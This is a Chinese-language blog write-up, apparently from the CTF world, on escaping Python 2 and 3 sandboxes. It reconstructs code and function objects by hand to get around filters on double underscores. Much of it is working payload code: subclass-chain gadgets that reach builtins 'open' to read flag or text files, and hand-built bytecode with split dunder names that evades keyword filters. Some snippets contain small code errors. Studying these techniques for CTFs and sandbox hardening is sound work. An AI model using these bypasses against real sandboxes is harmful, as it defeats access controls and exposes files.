0x 前言
最近遇到一些python 沙箱逃逸的问题,突然想起之前群友发了一个关于python2 code对象沙箱逃逸的博客,然后想自己也重新回顾回顾这个方法,同时也想python2 可以利用code 对象沙箱逃逸,那么python3 可不可以呢?抱着好奇心,然后就有了这篇文章。
0x 准备知识
1.python 中利用code 对象来动态函数的几种方法【本质都是得到Function类,然后使用Fuction类的构造函数】:
(1) 通过types.FunctionType 函数
python 文档中查看types.FunctionType 的定义没找到,所以直接在 pycharm 中找,结果发现:
type.FunctionType 直接就是 type(_f) , 也就是function 类
那我们在命令行下面利用help 查看:
function 类的构造函数有五个参数:
code : 函数的code 对象,这个可以通过compile 来得到,或者通过code 类的构造函数直接手动构造
globals : 函数中使用的globals 字典(py2),如果函数中需要使用print,或者open 这种内置的函数,这个参数需要是 {’__builtins__’:‘builtins’}
name
argdefs
closure
则可以使用None 就行了
使用的时候可以这样使用:
function(
a.__code__,
{'__builtins__':__builtins__},
a.__name__,
a.__defaults__,
a.__closure__
)
(2)不引入types 包 ,直接通过type() 得到Function 类
上面也说了types.FunctionType= type(_f), 所以我们可以直接构造用type() 来得到这个Fuction 类
2.怎么构造code 对象:
(1)使用compile() 函数 可以得到函数对应的code 对象
(2)直接使用 __code__,就可以得到函数的code 对象
(3)使用code 类的构造函数来手动构造(过滤了关键字,比如一些函数名和__双下划线的时候,需要使用这个来手动构造)
# 举例:
def a():
pass
for i in dir(a.__code__):
if(i.startwith('co_')):
print(i + ' ' + a.__code__[i])
code = type(a.func_code)
# help(code) 查看code 类的构造函数所需要的参数,对应上面打印出来的信息填进去就行了
0x03 实例
假如我们要读 test.txt 里面的内容:
我们可以这样构造:
import types
def a():
print(open('test.txt').read());
function=type(a) # 获得function 类
f = function(a.__code__,{'__builtins__':__builtins__},a.__name__,a.__defaults__,a.__closure__)
f()
成功得到test.txt 中 的内容
然后在沙箱中,会过滤很多关键字: 一般来说我们会这样读取:
[].__class__.__mro__[-1].__subclasses__()[40]('./flag').read() #python27,利用file 模块,但是python3 的时候file 模块被删除了
#利用warningMessage模块做跳板:
[].__class__.__mro__[-1].__subclasses__()[59].__init__.__globals__['__builtins__']['open']('D://1.txt').read() #python27
[].__class__.__mro__[-1].__subclasses__()[139].__init__.__globals__['__builtins__']['open']('D://1.txt').read() # python37
不同py版本的warningMeassage 对应的下标不同,可以根据这个脚本来找
i=-1
for c in [].__class__.__base__.__subclasses__():
i = i+1
if c.__name__ == 'WarningMessage':
print(i)
break
但是如果过滤了双下划线呢?这个时候这个方法就不可行了,这里可以利用code对象来绕过:
python27:
def get_open():
return [].__class__.__mro__[-1].__subclasses__()[59].__init__.__globals__['__builtins__']['open']
for i in dir(get_open.__code__):
if(i.startswith('co_')):
print(i+' :',getattr(get_open.__code__,i))
#之前写这个的时候,用 get_open.__code.i ,发现一直报错,后来请教KAAAsS dl,知道了要用getattr()来读。
接着对应code类的构造函数:
但是其实我们主要关心的主要就是 :
全部co_ 解释可以参考: https://docs.python.org/2/library/inspect.html
code = type(get_open.func_code)
f = type(get_open)
c = code(0,0,2,67,'g\x00\x00j\x00\x00j\x01\x00d\x01\x00\x19j\x02\x00\x83\x00\x00d\x02\x00\x19j\x03\x00j\x04\x00d\x03\x00\x19d\x04\x00\x19S',(None, -1, 59, '_'+'_builtins_'+'_', 'open'), ('_'+'_class_'+'_', '_'+'_mro_'+'_', '_'+'_subclasses_'+'_', '_'+'_init_'+'_', '_'+'_globals_'+'_'),(),'test.py','get_open',27,'\x00\x01',())
open_func = f(c,globals()) #注意这里,不能是空,其实只要是__builtins__ 就行了
print(open_func()('test.txt').read())
python37:
python3 中和python2 code 类的构造函数参数有点变化:
第二个参数变成了kwonlyargcount ,在 https://docs.python.org/3/library/inspect.html可以看到解释:
同样换成py38,用这段代码输出code 对象中的’co_'开头的属性:
def get_open():
return [].__class__.__mro__[-1].__subclasses__()[145].__init__.__globals__['__builtins__']['open']
for i in dir(get_open.__code__):
if(i.startswith('co_')):
print(i+' :',getattr(get_open.__code__,i))
然后对着code 类的构造函数构造:
code = type(get_open.func_code)
f = type(get_open)
c = code(0,0,0,2,67,b'g\x00j\x00j\x01d\x01\x19\x00\xa0\x02\xa1\x00d\x02\x19\x00j\x03j\x04d\x03\x19\x00d\x04\x19\x00S\x00',(None, -1, 139, '_'+'_builtins_'+'_', 'open'), ('_'+'_class_'+'_', '_'+'_mro_'+'_', '_'+'_subclasses_'+'_', '_'+'_init_'+'_', '_'+'_globals_'+'_'),(),'test.py','get_open',27,b'\x00\x01',())
open_func = f(c,{}) #这里可以直接是空
print(open_func()('test.txt').read())
0x03 小疑问
我们可以看到对于py2 和 py3 中function 类构造函数的第二个参数globals 有着不同的要求:
对于py2 , globals 至少要是 {’__builtin__’:__builtin__} ,
而对于py3 ,globals 可以为空
由于function 类是内置类,所以没法直接查看源码,需要使用help 或者 去查看cpython 的源代码,瞅了瞅cpython 的 https://github.com/python/cpython/tree/master/Objects,发现太复杂了,不是轻易能看懂的。但是help 出来的也并没有详细说明白 globals 参数的具体含义:
py3:
py2:
然后网上找了找资料,对于py3: https://cloud.tencent.com/developer/article/1411563
对于py2: https://stackoverflow.com/questions/54985487/how-can-an-optional-parameter-become-required
以及: http://pbiernat.blogspot.com/2014/09/bypassing-python-sandbox-by-abusing.html
所以,似乎py2 和 py3 中这个globals 参数代表的意义是不同的,py2 中这个globals 就是自定义函数中的全局变量(那么自然需要传入__builtin__进去,否则 [] 就没法用),而py3 中的这个globals 则是如果函数中引用的变量不是局部定义的,则在这个globals 里面找。
后记
python 沙箱逃逸这块今天也算复习了一次,也自己动手弄了弄code 对象来沙箱逃逸。可以看到对于过滤双下划线,利用code 对象来绕过沙箱真的一个不错的方法。
参考
https://blog.kaaass.net/archives/905 群友KAAAsS 大佬的博客
http://pbiernat.blogspot.com/2014/09/bypassing-python-sandbox-by-abusing.html Bypassing a python sandbox by abusing code objects
https://cloud.tencent.com/developer/article/1411563
https://pycoders-weekly-chinese.readthedocs.io/en/latest/issue7/exploring-python-code-objects.html 探索python code对象